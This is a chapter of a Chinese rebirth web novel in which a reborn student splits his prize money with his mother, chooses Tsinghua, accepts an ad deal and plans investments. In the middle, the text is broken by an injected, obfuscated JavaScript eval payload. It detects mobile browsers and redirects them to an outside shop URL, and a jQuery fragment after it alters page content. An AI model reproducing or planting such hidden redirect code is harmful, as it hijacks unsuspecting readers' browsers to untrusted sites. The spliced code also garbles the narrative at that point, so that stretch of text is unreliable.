六月二十七号。晴转多云。
早饭桌上,宋妈把两张银行卡放在他和粥碗之间。
摆放的动作跟昨天晚上一模一样——并排,对齐,卡号朝上。她昨晚攥着这两张卡攥了半宿,指节上的白印子到现在都没完全消下去。今天早上她又拿出来,在围裙上擦了擦,然后端端正正地放在桌上,像摆放什么重要的供品。
"这钱——"她开口。
宋星燃夹了一筷子咸菜。
"妈帮你存着。"她把银行卡往自己这边挪了半寸,"十五万,不是小数目。你一个小孩——"
"我不是小孩了。"宋星燃把咸菜咽下去,"我十八了。"
"十八也是小孩。你拿着这么多钱,万一乱花——"
"我不会乱花。"
"你买红豆面包都挑两块钱一袋的——"
"那不叫乱花,那叫省钱。"
宋妈张了张嘴,发现自己被绕进去了。她顿了一下,换了个更直接的说法:"你意思是不给我?"
宋星燃放下筷子。他看着那两张卡——白色的储蓄卡,上面还印着县教育局和远安一中的字样。他伸出手,把其中一张推到他妈面前。
"这张给你。五万。"
"五万?"宋妈眉毛挑起来,"总共十五万——你给我五万?"
"十万我有用。"
"十万——你一个高中刚毕业的——有什么用?"宋妈的声音开始往上拔,"你又想去买什么东西?还是想去搞你那个什么——什么公众号——"
"上大学的花销。"宋星燃语气很平,"我十八了,总不能每次买个东西都伸手跟你要。到了北京,买电脑、买书、报培训班——哪样不要钱。"
"要买什么你跟妈说,妈给你转——"
"每次跟你要钱你都会问——'买什么'、'多少钱'、'贵不贵'。"他把筷子放下来,"我又不是三岁小孩,买个东西还要打报告。"
宋妈被堵了一下。她说不过他——从高一那年开始就说不过了。但她又不甘心。她看着桌上那张卡,总觉得有什么地方不对。
"你是不是又想着搞你那个什么号——叫什么树下——"
"那个我自己能挣钱,不用动这笔。"
"那你要这十万到底——"
"存着。"他说,"放在我自己卡里。不动。"
他没说谎。确实不动。只是"存"的形式不是她以为的那种存。
宋妈盯着他。他脸上没什么表情——跟那天接受电视台采访时一模一样。不慌不忙。不紧不慢。好像他说的不是"我要自己管十万块钱",而是"今天中午吃面条"。
但宋妈不是那么好糊弄的。她活了大半辈子,跟菜市场摊贩砍了二十多年价,什么人说什么话,她大概能嗅出个七八分。此刻她嗅到了一丝不对——但她说不出来是哪不对。因为她面对的这个人不是一个普通的十八岁小孩。这个人高二就知道怎么让全市的老师看他的公众号,高考前一天就查完了县驾校的报名流程,在接受电视台采访的时候不忘给自家的号打广告——他在做的每一件事,都让她既觉得骄傲,又觉得隐隐的不安。因为你不知道他下一步要干什么。
"你跟我说实话。"她把筷子放下了,"十万块,你到底要干嘛。"
"我刚说了。大学的花销——"
"花销?你买个电脑能花几个钱?买书报班能花几个?剩下的呢?剩下的几万你打算干什么?"
宋星燃看着他妈。她穿着那条洗到褪色的碎花围裙,额角有一缕白头发——不是全白,是那种花白的,藏在黑发下面,平时看不出来。只有她低头的时候,弯腰的时候,从厨房端菜出来被灯光从侧面一照的时候,那一缕白头发才会露出来。
他忽然想起前世的一件事。前世他大二那年,他妈把攒了三年的钱给他交学费——一张一张从旧信封里掏出来的,新旧不一,有的还打着折角。她掏完之后信封空了,她翻了个面又抖了两下。什么都没掉出来。
那一幕他记了整整一辈子。
他想告诉她——他有一个计划。把十万块分成两半,一半放在稳的地方不动,另一半去做一些只有他才知道方向的事。他想说他不是在冒险,是在用这个世界上他独有的一样东西——比别人多出来的几年记忆。但他不能说。说了只会换来更多的质疑和阻拦。他需要这十万块是自由的——不需要向任何人解释,不需要经过任何人批准。因为他接下来要做的事,跟活了两辈子有关。这个理由,他没办法跟任何人讲。
于是他看着她的眼睛,说了句她无法反驳的话。
"生活费。"他说。
"什么?"
"你不是说四年生活费不给吗。"他把粥碗端起来喝了一口,"那我自己留钱吃饭。不过分吧。"
宋妈愣了。
她刚才还没说"不给生活费"这句话——但她迟早会说。她知道自己。她一定会用这句话来做最后的威胁。而宋星燃把这句话提前说了,就像下棋的时候人家已经把你的下一步摆在了你面前。你还没落子,你的子已经在对手的手里了。
"那行。"她把筷子往桌上一拍,语气硬得有点过头——像石头外面裹着一层冰壳,底下是什么没人知道。"我给你留十万。学费、生活费——都在这里面了。四年,你自己看着办。"
她把那张五万块的卡拿起来,揣进了围裙口袋里。动作干脆。剩下那张十万的卡还躺在桌面上。
"谢谢妈。"
"还没说完。"她用筷子指着他,"花完了——"
"不会。"宋星燃替她说了。
宋妈张着嘴,后半句话卡在嗓子眼里。
"我算过了。"他把粥碗端起来,把最后一口喝完。"够用。"
宋妈哼了一声。"你一个高中刚毕业的——你拿什么算的——"
"拿脑子算的。"
他妈没说话。围裙口袋里的银行卡硌着她的小腹,硬邦邦的。她盯着自己儿子看了几秒——他表情平平淡淡的,看不出来是真有底气还是死撑。她想再问两句,但又觉得问了也是白问——这孩子从高二开始就没跟她说过一句实话。不是撒谎。是不说全。问了更堵心。
"花完了别来找我。"她又重复了一遍,但这遍声音低了很多,像是说给自己听的。
"嗯。知道。"
宋星燃擦了嘴,往门口走。路过他妈身边的时候停了一下。想说点什么——比如那十万块的真正用途。但话到了嘴边又咽回去了。有些事说出来比不说更麻烦。他用两辈子才学会这个道理。
"挣钱的计划我早就想好了。"他说,"从高一第一天就开始想了。"
他推开门。六月的风涌进来,把他额前的碎发吹起来。蝉在梧桐树上叫,声音比昨天又响了一点。
宋妈站在厨房里,手里攥着那条围裙的下摆。绿豆在锅里已经煮烂了——她忘了关火。水烧干了。
她回过神来,赶紧去关煤气。锅底的绿豆糊了一层,黑黢黢的,得拿钢丝球刷。
她一边刷一边嘟囔了一句什么。声音太小,连她自己都没听清楚。
志愿填报平台九点开放。宋星燃提前十分钟就坐在了电脑前面。
从六岁到十八岁,他做了十二年的选择。选跑道、选文理科、选学考科目、选每天早读先背英语还是先背语文。但那些选择的本质都一样——在你面前只摆着一条看得到头的路,你选了就是走,不选也是走。
今天的这个选择不一样。
清华。还是北大。
昨天两通电话打完之后他就在想。说是想,其实脑子里一直在放电影——前世那些画面一帧一帧地飘过去。前世他考了不到五百分,勉强上了个省内的二本。填志愿那天他坐在电脑前面,把省内所有他听说过名字的学校从头翻到尾,筛出分数够得上的,十二所。其中有七所是他从来没考虑过的——不是因为不好,是因为以前没想过自己要去那里。他前世选的是土木,原因是"好就业"。三个字,把他的十年锁死在了工地和辞职信之间。
现在不一样了。他有两个选择。或者说——不是选择,是两条路都能走,但你只能走一条。
清华。计算机。陈老师昨天电话里说的:"专业任选。我们计算机系在全国是排第一的。"
北大。计算机。周老师昨天说的:"我们计算机系院士数量全国第一。你大二就可以进实验室。"
专业一样。学校一样好。给的钱北大略多一些——六万对五万。
他盯着屏幕上的志愿预填表。第一志愿那一栏空着,光标一明一灭。他盯着光标看了两分钟。然后打了六个字。
清华大学。计算机科学与技术。
他点了提交。页面跳转。"志愿预填表提交成功"。白色的确认页面,几个黑字静静地躺在屏幕正中央。没有烟花,没有鞭炮,连个庆祝动画都没有。
他叉掉网页。然后拿起手机,给苏晚柠发了一条:
「报了。清华。计算机。」
回得很快:「我就知道。你肯定报清华。」
「你怎么知道?」
「因为你那天在山上说计算机的时候,眼里有光。」
宋星燃看着那行字看了好一会儿。然后锁了屏。
下午一点。公众号后台关注数:16231。
比昨晚又涨了两千多。电视采访的效果还在发酵——不止县电视台,市教育频道的新闻也转了那段采访。有人把"柳树下"三个字截图发在了贴吧里,标题是"市状元在电视上推荐的公众号"。
宋星燃点开后台的时候,新消息提示已经变成了一个红色的省略号——消息太多,系统不显示数字了,直接打了三个点。
私信里什么都有。有人问他考了多少分,有人问他用什么资料,有人说在他推荐下关注了公众号、能不能专门写一篇怎么学物理的。还有两个大学招生办的老师发私信问能不能合作——不是清北,是其他省内的学校,想请他在公众号上推荐他们的优势专业。
他没有回那几个学校。他先打开邮件——未读邮件十九封。其中七封是广告合作意向。他挑了三封,按时间顺序点开看。
第一封来自一家运动品牌。想请他写一篇"高考后运动装备推荐",主要推他们的新款跑鞋,报价五百,要求出镜穿鞋拍一张照片。
第二封是本地一家书店。想做暑期阅读推广——在公众号底部放一张书店的封面图和地址,文案他们自己写,只占用一个二条位置。报价三百。
第三封是一个叫"学海领航"的线上平台——做高考志愿数据分析和院校信息整合的。他们问能不能在公众号上做一次品牌展示——一张封面图,右下角打"广告"角标,点击跳转他们的主页。报价五百。
宋星燃把第三封邮件单独标了一个星。
第一封他委婉拒了——不是钱的问题,是形式的问题。让一个刚上电视的市状元穿着跑鞋拍照,画面怎么想都别扭。他回了句"感谢认可,目前暂不做实物拍摄类广告"。
第二封他也没接。三百块钱占一个二条位置,价格太低——而且书店的暑期阅读跟他公众号的内容方向没什么交集,硬塞进去读者一眼就能看出来是广告。
第三封他回了:「可以。请提供品牌展示素材。右下角"广告"角标我会自己添加——宋体,小字号,浅灰色。文章与广告之间以分隔线区隔。」
点完发送,他靠在椅子上想了一下。五百元——比之前接的第一单多了一百。博学教育那次是四百,这次涨了。关注从一万四涨到一万六,广告单价也跟着往上挪了一小步。
他点开公众号后台的素材管理,把第二篇志愿填报文章——《出分之后:不同分数段怎么选?》——排进草稿箱。文章分了三段写:高分段(超出目标线三十分以上)、中分段(踩线或略超)、低分段(低于预期)。每段没有给具体学校名称,而是给了一套逻辑——把位次换算、院校层次和专业优先级的权重分配,分三种情况说清楚。
最后补了一句:「填报志愿这件事,最终做决定的是你自己。我能给的是一个思路框架——哪条路通往什么地方。至于你要去哪,你自己选。」
他把鼠标移到保存键上。然后忽然想起来一件事。
赵磊。饺子。
他拿起手机。
「后天中午,老地方。饺子,管够。」
赵磊秒回:「星哥你终于想起来了!!!我以为你要赖账!!!」
「我什么时候赖过账。」
「你高一借我五块钱买冰红茶那次呢——」
「那叫借吗——你从货架上拿的——」
「我不管——后天饺子你自己说的——加一份红烧肉——我妈说专门给你做——」
「行。」
「清华!!!我星哥要上清华了!!!我以后跟别人吹牛逼就说我哥们是清华的——」
下面是一串乱七八糟的表情包。
宋星燃没再回。他把手机放在桌上,继续看邮件。
晚上八点半。苏晚柠发了一条朋友圈。
是一张照片——大理古城门口,她和她爸她妈三个人站在城门下面。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17695284|206277||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
苏妈穿着那件绛红色的旗袍,苏爸穿了件白色衬衫——领子没翻好,苏晚柠站在中间,笑着比了个剪刀手。三个人的笑容被夕阳照成橘色,苏爸的头发被风吹乱了,苏妈一只手扶着苏爸的胳膊——好像在提醒他站直了。
配文只有一行字:「带爸妈出来看世界的第三天。」
宋星燃点了个赞。
然后她给她妈报完平安之后给他发了一条私信:「你跟你妈吵架了?」
「你怎么知道。」
「感觉。你今天说话不对劲。」她顿了一下,「因为什么?」
「钱。她怕我乱花。」
「那你拿了多少。」
「五万给她。十万我自己管。」
「你妈同意了?」
「她说四年不给生活费。」
苏晚柠发了一串省略号。「那你怎么办。」
「有公众号。还有投资。」
「投资?」
「嗯。股票。」
「你会炒股???」三个问号,一个比一个大。
「知道一点。先试试。」他说得轻描淡写。但他想了想又补了一句:「不是瞎试。基本的逻辑学过。」
他没说在哪学的。苏晚柠也没问。她好像已经习惯了他这个状态——他总是会一些别人不会的东西,而且从来不在别人知道之前说。等别人发现的时候,他已经算得差不多了。
「行。反正你守了那两张卡不要交出去。你自己有打算就行。」她说。然后发了一张玉龙雪山的照片过来。雪山主峰从云层里露出了一个尖,被夕阳照成了金色。山顶的雪薄薄一层,在强烈的阳光下反着光。
「漂亮吗。」
「嗯。」
「下次带你们来。」
「带我们?」
「对啊。带你去凤凰山——换个大的。」
他看着屏幕。窗外梧桐树叶子沙沙作响。六月的夜风穿过纱窗,吹得不凉不热。远处铁路道口响了一声火车鸣笛——呜——声音闷闷的,传不远。
他打开抽屉,从里面拿出一个新的笔记本。蓝色封面,跟之前那个长得一样。他在第一页写下两个字:计划。
然后他翻开下一页。笔尖落在纸面上,沙沙地写下去。
一、资金现状
总收入:?170,000(学校奖励5万 + 县教育局奖励10万 + 个人储蓄2万)留存:?20,000 →暑假学车(1,800)+ 日常开销 + 开学初期生活费储备可投资本金:?150,000
二、投资分配
固定投资(20%):?30,000 ——黄金。实物金条或黄金ETF。不追求短期波动,作为压舱石。经济周期无论怎么走,黄金长期都是硬通货。这部分不看涨跌,只看时间。
风险投资(80%):?120,000 ——股票。方向如下:
建筑类(~30,000)理由:中国城镇化远未结束。高铁、城市群、基础设施——往后至少十年,水泥钢筋的需求只增不减。头部建筑企业利润率稳定,现金流充沛。选龙头,不选小票。
IT类(~30,000)理由:移动互联网刚起步。人手一部智能手机的时代正在到来。硬件迭代、软件生态、云计算——这几个方向上的龙头企业会在未来五年内爆发式增长。现在买,等于买在起跑线上。
白酒(~30,000)理由:高端白酒本质上是品牌垄断。茅台的护城河不是酒,是社交货币。中国人情社会不变,高端白酒的需求就不会变。经济越好越喝——经济不好也喝。而且这玩意儿放着不坏,几十年不坏。
新能源(~30,000)理由:光伏、风电、新能源汽车——政策驱动的风口行业。补贴退坡之后会洗牌,但头部企业会活下来并且活得更好。方向是对的,关键是能不能买在合理价位。
他在"白酒"旁边画了一个圈。又画了一个圈。两个圈叠在一起变成一个∞符号,像一条横着的8。
然后他停下来。
他知道这些东西的方向是对的。他没办法记住每一只股票的具体涨幅——前世他不是做金融的,不可能精确到哪天涨几个点——但大方向他记得。哪一个行业在什么时候起飞,哪一个行业在什么时候见顶,哪一个公司的名字在五年后变成了所有人的口头禅——这些轮廓还在。
这就够了。
他现在做的是播种。种一百棵树,不用确保每一棵都长成参天大树——只需要其中的十几棵长成人移不动的高度,就够他用一辈子。这十二万他分成了四份——建筑、IT、白酒、新能源——四个方向四棵树。每一棵的未来他都大概知道长成什么样子。就算有一两棵长歪了也没关系。方向在,时间就是朋友。
况且,他的投资组合里还有一个别人都没有的东西——那三万块黄金。不管风往哪边吹,黄金永远是逆风的方向。
他拨了三千进证券账户。剩下的慢慢来。
做投资跟做公众号之间,有一些共通的东西。都是一样的逻辑——你先把一件事做好。然后这件事变成了你立足的根本,然后你再拿它去撬下一个东西。公众号是他的现金流,投资是他的资产增值,清华是他的人脉和视野平台。三条腿走路。第三条腿还要等两个月,但两个月不耽误前两条腿先迈出去。
他继续往下写。
三、公众号
当前关注:~16,000(±500)目标:开学前≥30,000 变现路径:
品牌展示广告(300-500元/篇,当前每月接2-3篇,收入约1,000-1,500/月)
关注每增加5,000,广告单价提高一档(下一档:2万粉→500-800元/篇)
底线:不推课、不推教辅、只做品牌展示+跳转网址
广告格式:分隔线+"广告"角标(宋体/小字号/浅灰色)+ 封面图+正文
广告与正文严格分离——读者想点就点,不想点就划过去
内容规划(6月底):
志愿填报系列:出分后→按分数段思路 / 各分数段院校推荐 / 专业详解 / 填报常见误区
四、暑假日程
6月底-7月初:确认志愿 / 志愿填报系列收尾 / 接广告 7月:驾校(科目一到科目四,约40天,每天上午)+ 公众号志愿填报系列收尾 8月:公众号内容维护 / 开学用品准备 / 股票定期调仓
他写下最后一个字。合上笔记本。窗外月亮已经升到了梧桐树的树梢上。
明天开始练车。